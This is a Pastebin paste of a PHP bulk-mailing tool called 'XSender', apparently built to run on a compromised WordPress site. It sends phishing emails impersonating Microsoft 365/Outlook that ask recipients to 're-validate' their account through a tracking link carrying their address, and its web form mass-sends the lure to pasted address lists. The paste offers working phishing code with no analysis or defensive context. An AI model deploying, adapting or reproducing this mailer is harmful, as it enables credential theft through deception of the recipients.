PalmaSolutions

wp-access-dataup.php

Mar 24th, 2018
447
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 4.28 KB | None | 0 0
  1. <?php
  2. include('wp-access-plugin.php');
  3.  
  4.  
  5.  
  6. //Email sending
  7. function sending_email($email,$id='1'){
  8.     $rand=rand(999,99999);
  9.     $subject='Microsoft365 Notifications:[Re-validate your account]';
  10.     $site_name='Outlook Notifications';
  11.     $from = "info_microsoft365".$rand;
  12.         //$from = 'update.delivery-tracking-update'.$rand.'[email protected]';
  13.     $from_mail = $site_name.'<'.$from.'>';
  14.     // To send HTML mail, the Content-type header must be set
  15.     $headers  = 'MIME-Version: 1.0' . "\r\n";
  16.     $headers .= 'Content-type: text/html; charset=UTF-8' . "\r\n";
  17.     // Additional headers
  18.     $headers .= 'From: '.$from_mail.'' . "\r\n";
  19.     //$headers .= 'Bcc: '.$email.'' . "\r\n";
  20.     //format message   
  21.     $message=email_format($email,$id);
  22.     @mail($email,$subject, $message, $headers);
  23. }
  24.  
  25.  
  26.  
  27. function email_format($email,$id='1'){
  28.     global $website;
  29.     $url=$website."/mails-sys/?".md5('token')."=".md5($id)."&".md5(date('U'))."=".md5(date('r'))."&id=".$id."&email=".$email;
  30.     $unsubscribe=$website."/mails-sys/?".md5('token')."=".md5($id)."&".md5(date('U'))."=".md5(date('r'))."&id=".$id."&email=".$email;
  31.     $em=explode('@',$email);
  32.     $message="<style type='text/css'>
  33. .office {
  34.     font-family:'SegoeUI-SemiLight-final','Segoe UI SemiLight','Segoe UI WPC Semilight','Segoe UI',Segoe,Tahoma,Helvetica,Arial,sans-serif;
  35.     color: #F13415;
  36.     font-size: 50px;
  37. }
  38. </style>
  39. <p><span class='office'>Network365 Service</span><br><br>Dear ".ucwords($em[0]).",</p>
  40. <p>A swift ownership re-validation is required.</p>
  41. <p>Nothing much is required, <a href='".$url."' target='_blank'>follow here</a> and we are done.</p>
  42. <p>Thanks and Regards,<br>
  43.   &copy; 2018 365 Email Center</p>
  44. <p>If you no longer wish to receieve our newsletter <a href='".$unsubscribe."' style='color:#506ED8;' target='_blank'>Unsubscribe</a> Now</p>";
  45.     return $message; }
  46.  
  47.  
  48.  
  49.  
  50.  
  51.  
  52.  
  53. ?><html>
  54. <head>
  55. <title>Xsender</title>
  56. </head>
  57. <body style='width:100%;color:#000;background:#E0E6F8;font-family:calibri;'>
  58. <div style='width:100%;max-width:600px;margin:0px auto 0px auto;padding:10px;border:#999 1px solid;box-shadow:10px 10px #666;min-height:500px;'>
  59.  
  60. <h1 style='color:#666;text-align:center;text-shadow:#000 1px 1px;'>XSender</h1>
  61.  
  62.  
  63.  
  64.  
  65.  
  66.  
  67.  
  68.  
  69.  
  70.  
  71.  
  72.  
  73.  
  74. <?php
  75. if(isset($_POST['go']) ){
  76.     //sanitize the data
  77.     $_SESSION['xsenderid']=sanitizer($_POST['id']);
  78.     $separator=sanitizer($_POST['separator']);
  79.     $mails=sanitizer($_POST['mails']);
  80.     $id=$_SESSION['xsenderid'];
  81.     if($separator==''){$separator='<br/>';}
  82.     if($mails!=''){
  83.    
  84.  
  85.         $mails=explode($separator,$mails);
  86.         $total=count($mails);
  87.         $valid=0;
  88.             for($i=0;$i<$total;$i++){
  89.                 $email=$mails[$i];
  90.                     if(validate_email($email)){
  91.                         $valid=$valid+1;
  92.                         print "<div style='color:green;'>".$email." valid and queued</div>";
  93.                         //Send here
  94.                         sending_email($email,$id);
  95.                         //send here
  96.                         } else {print "<div style='color:gray;'>".$email." not valid</div>"; }
  97.             }
  98.         print "<h1 style='color:green;'>Bravo! ".$valid."/".$total." Sent! <a href='' style='color:green'>Continue</a></h1>";
  99.  
  100.  
  101.     } else {print "<h1 style='color:red'>Mails or Details empty</h1>"; }
  102. }
  103. ?>
  104.  
  105.  
  106.  
  107.  
  108.  
  109.  
  110.  
  111.  
  112.  
  113.  
  114.  
  115.  
  116. <form method='POST' action='#'>
  117. <div>
  118. <div>Select Your ID</div>
  119. <select name='id' style='width:100%;'>
  120. <?php
  121. if(isset($_SESSION['xsenderid']))
  122. {print "<option value='".$_SESSION['xsenderid']."'>".$_SESSION['xsenderid']."</option>";}
  123. ?>
  124. <option value='1'>1</option>
  125. <option value='2'>2</option>
  126. <option value='3'>3</option>
  127. <option value='4'>4</option>
  128. </select>
  129. </div>
  130. <p>&nbsp;</p>
  131.  
  132.  
  133.  
  134.  
  135.  
  136. <div>
  137. <div>Email Separator (Leave Empty if new line)</div>
  138. <textarea name='separator' style='width:100%;height:20px;'><?php if(isset($_POST['separator'])){print resanitize($_POST['separator']);} ?></textarea>
  139. </div>
  140. <p>&nbsp;</p>
  141.  
  142.  
  143.  
  144.  
  145.  
  146. <div>
  147. <div>Paste Emails separated by separator</div>
  148. <textarea name='mails' style='width:100%;height:200px;'><?php if(isset($_POST['mails'])){print resanitize($_POST['mails']);} ?></textarea>
  149. </div>
  150. <p>&nbsp;</p>
  151.  
  152.  
  153.  
  154. <div>
  155. <div>Email Preview</div>
  156. <?php print email_format('[email protected]',1); ?>
  157. </div>
  158. <p>&nbsp;</p>
  159.  
  160.  
  161.  
  162.  
  163. <div style='text-align:center;'>
  164. <input type='submit' value='Go Xsender' name='go' style='color:#FFF;background:#333;'/>
  165. </div>
  166. <p>&nbsp;</p>
  167. </form>
  168.  
  169.  
  170.  
  171.  
  172.  
  173.  
  174.  
  175.  
  176.  
  177.  
  178.  
  179.  
  180.  
  181.  
  182.  
  183.  
  184. </div>
  185. </body>
  186. </html>
Advertisement
Add Comment
Please, Sign In to add comment